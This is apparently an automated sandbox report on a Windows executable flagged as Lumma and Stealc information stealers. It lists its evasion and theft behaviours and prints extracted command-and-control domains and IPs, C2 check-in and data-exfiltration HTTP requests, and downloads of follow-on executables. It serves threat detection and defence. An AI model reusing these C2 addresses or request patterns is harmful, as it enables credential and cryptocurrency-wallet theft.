Windows Analysis Report
Bire1g8ahY.exe

Overview

General Information

Sample name: Bire1g8ahY.exe
renamed because original name is a hash value
Original sample name: 3a5696def6e0a20dfeb8786eadff60a0.exe
Analysis ID: 1579765
MD5: 3a5696def6e0a20dfeb8786eadff60a0
SHA1: e0a623473fdab0dd57963f4f621f90c04e7ba412
SHA256: 96768826305ca9bfb18ec1d67156f09094acc6aa2afea7dcd9ffa954585c5618
Tags: exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies windows update settings
PE file contains section with special chars
Query firmware table information (likely to detect VMs)
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Searches for user specific document files
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Sigma detected: Use Short Name Path in Command Line
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: Bire1g8ahY.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: Bire1g8ahY.exe.7312.0.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["aspecteirs.lat", "necklacebudi.lat", "grannyejh.lat", "energyaffai.lat", "sustainskelet.lat", "crosshuaht.lat", "discokeyus.lat", "rapeflowwj.lat", "sweepyribs.lat"], "Build id": "PsFKDg--pablo"}
Source: 1I4F16VK8DFW90DXD.exe.4132.10.memstrmin Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Multi AV Scanner detection for submitted file
Source: Bire1g8ahY.exe ReversingLabs: Detection: 55%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: Bire1g8ahY.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: Bire1g8ahY.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49716 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49726 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49741 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49751 version: TLS 1.2
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe, 00000009.00000002.1760773784.00000000008F2000.00000040.00000001.01000000.00000006.sdmp
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Directory queried: number of queries: 1001

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.7:50486 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058358 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat) : 192.168.2.7:56496 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058362 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat) : 192.168.2.7:60809 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058376 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat) : 192.168.2.7:49555 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058370 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat) : 192.168.2.7:62729 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.7:58819 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.7:59111 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.7:63050 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2058374 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat) : 192.168.2.7:60794 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49791 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49702 -> 172.67.157.254:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49702 -> 172.67.157.254:443
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:49700 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49734 -> 172.67.157.254:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49751 -> 172.67.157.254:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49703 -> 172.67.157.254:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49703 -> 172.67.157.254:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.7:49741 -> 172.67.157.254:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor URLs: aspecteirs.lat
Source: Malware configuration extractor URLs: necklacebudi.lat
Source: Malware configuration extractor URLs: grannyejh.lat
Source: Malware configuration extractor URLs: energyaffai.lat
Source: Malware configuration extractor URLs: sustainskelet.lat
Source: Malware configuration extractor URLs: crosshuaht.lat
Source: Malware configuration extractor URLs: discokeyus.lat
Source: Malware configuration extractor URLs: rapeflowwj.lat
Source: Malware configuration extractor URLs: sweepyribs.lat
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:44:38 GMTContent-Type: application/octet-streamContent-Length: 2765312Last-Modified: Mon, 23 Dec 2024 07:19:04 GMTConnection: keep-aliveETag: "67690ee8-2a3200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 fa c9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 72 64 6f 66 70 68 65 00 c0 29 00 00 a0 00 00 00 a2 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 7a 6f 61 6c 76 6f 76 00 20 00 00 00 60 2a 00 00 06 00 00 00 0a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2a 00 00 22 00 00 00 10 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:44:43 GMTContent-Type: application/octet-streamContent-Length: 2835456Last-Modified: Mon, 23 Dec 2024 07:21:00 GMTConnection: keep-aliveETag: "67690f5c-2b4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 70 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 4e 00 00 04 00 00 84 4c 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 6e 71 72 69 63 72 6f 00 a0 29 00 00 c0 24 00 00 a0 29 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6a 6c 76 79 6c 64 6c 00 10 00 00 00 60 4e 00 00 06 00 00 00 1c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4e 00 00 22 00 00 00 22 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 31 45 46 38 36 42 36 33 36 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 2d 2d 0d 0a Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="hwid"91EF86B63681107340409------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="build"stok------GDBKKFHIEGDHJKECAAKK--
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 172.67.157.254 172.67.157.254
Source: Joe Sandbox View IP Address: 104.102.49.254 104.102.49.254
Source: Joe Sandbox View IP Address: 185.215.113.206 185.215.113.206
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49700 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49702 -> 172.67.157.254:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49709 -> 172.67.157.254:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49716 -> 172.67.157.254:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 172.67.157.254:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49726 -> 172.67.157.254:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49741 -> 172.67.157.254:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49751 -> 172.67.157.254:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49734 -> 172.67.157.254:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49755 -> 185.215.113.16:80
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: lev-tolstoi.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=A34C8LRG4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12790Host: lev-tolstoi.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=KCG68FSEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15016Host: lev-tolstoi.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WDARQ445QAJ5MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20371Host: lev-tolstoi.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9WTBNJRAAXB2RSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1226Host: lev-tolstoi.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ZCJ84QFPH7H2WPYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 579195Host: lev-tolstoi.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: lev-tolstoi.com
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
